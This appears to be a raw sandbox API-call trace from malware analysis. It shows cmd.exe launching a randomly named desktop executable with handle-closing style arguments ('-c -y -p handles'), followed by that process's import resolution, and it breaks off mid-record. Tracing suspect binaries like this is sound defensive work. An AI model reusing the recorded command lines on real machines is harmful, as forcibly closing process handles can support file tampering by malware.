[0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0138.388] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0138.389] GetProcessHeap () returned 0x510000 [0138.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x522540 [0138.389] GetProcessHeap () returned 0x510000 [0138.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7a) returned 0x522758 [0138.389] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0138.389] GetProcessHeap () returned 0x510000 [0138.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x5227e0 [0138.389] SetErrorMode (uMode=0x0) returned 0x0 [0138.389] SetErrorMode (uMode=0x1) returned 0x0 [0138.390] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5227e8, lpFilePart=0x41f4b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f4b8*="Desktop") returned 0x25 [0138.390] SetErrorMode (uMode=0x0) returned 0x1 [0138.390] GetProcessHeap () returned 0x510000 [0138.390] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5227e0, Size=0x6e) returned 0x5227e0 [0138.390] GetProcessHeap () returned 0x510000 [0138.390] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5227e0) returned 0x6e [0138.390] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0138.390] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0138.390] GetProcessHeap () returned 0x510000 [0138.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x120) returned 0x522858 [0138.390] GetProcessHeap () returned 0x510000 [0138.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x238) returned 0x522980 [0138.398] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.398] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x41f254, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f254) returned 0x522b30 [0138.398] GetProcessHeap () returned 0x510000 [0138.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x522b70 [0138.398] FindClose (in: hFindFile=0x522b30 | out: hFindFile=0x522b30) returned 1 [0138.398] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0138.398] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0138.398] GetConsoleTitleW (in: lpConsoleTitle=0x41f72c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.399] InitializeProcThreadAttributeList (in: lpAttributeList=0x41f5b4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x41f67c | out: lpAttributeList=0x41f5b4, lpSize=0x41f67c) returned 1 [0138.399] UpdateProcThreadAttribute (in: lpAttributeList=0x41f5b4, dwFlags=0x0, Attribute=0x60001, lpValue=0x41f674, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x41f5b4, lpPreviousValue=0x0) returned 1 [0138.399] GetStartupInfoW (in: lpStartupInfo=0x41f570 | out: lpStartupInfo=0x41f570*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0138.399] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0138.400] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x41f610*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41f65c | out: lpCommandLine="bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner", lpProcessInformation=0x41f65c*(hProcess=0x78, hThread=0x74, dwProcessId=0xce0, dwThreadId=0x310)) returned 1 [0138.444] CloseHandle (hObject=0x74) returned 1 [0138.444] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0138.444] GetProcessHeap () returned 0x510000 [0138.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x522da0 | out: hHeap=0x510000) returned 1 [0138.444] GetEnvironmentStringsW () returned 0x522b90* [0138.444] GetProcessHeap () returned 0x510000 [0138.444] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8c) returned 0x5274f8 [0138.444] FreeEnvironmentStringsW (penv=0x522b90) returned 1 [0138.444] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) Process: id = "250" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x76364000" os_pid = "0xc7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "236" os_parent_pid = "0xc18" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 872 os_tid = 0xce4 [0138.423] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0138.423] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0138.424] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0138.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0138.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0138.427] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0138.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0138.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0138.429] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0138.429] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0138.429] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0138.429] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0138.430] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0138.430] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0138.430] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0138.430] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0138.430] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0138.430] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0138.431] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0138.431] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0138.431] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0138.431] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0138.431] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0138.431] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0138.431] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0138.432] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0138.432] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0138.432] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0138.432] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0138.432] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0138.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xf5c1c020, dwHighDateTime=0x1d5d06a)) [0138.432] GetCurrentThreadId () returned 0xce4 [0138.432] GetCurrentProcessId () returned 0xc7c [0138.432] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=28038470022) returned 1 [0138.433] GetProcessHeap () returned 0x230000 [0138.433] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0138.433] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0138.434] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0138.435] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0138.436] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3bc) returned 0x2460c8 [0138.436] GetCurrentThreadId () returned 0xce4 [0138.436] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x246490 [0138.436] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2464b0 [0138.436] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x732d09ee, hStdError=0x0)) [0138.436] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0138.436] GetFileType (hFile=0x3) returned 0x2 [0138.445] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.445] GetFileType (hFile=0x7) returned 0x2 [0138.445] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0138.445] GetFileType (hFile=0xb) returned 0x2 [0138.445] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0138.445] GetEnvironmentStringsW () returned 0x246cb8* [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xb86) returned 0x247848 [0138.446] FreeEnvironmentStringsW (penv=0x246cb8) returned 1 [0138.446] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x88) returned 0x246cb8 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa0) returned 0x246d48 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x2483f0 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x246df0 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x246e68 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x23f8e8 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x246ee0 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x246f50 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x246f88 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x246fd8 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, 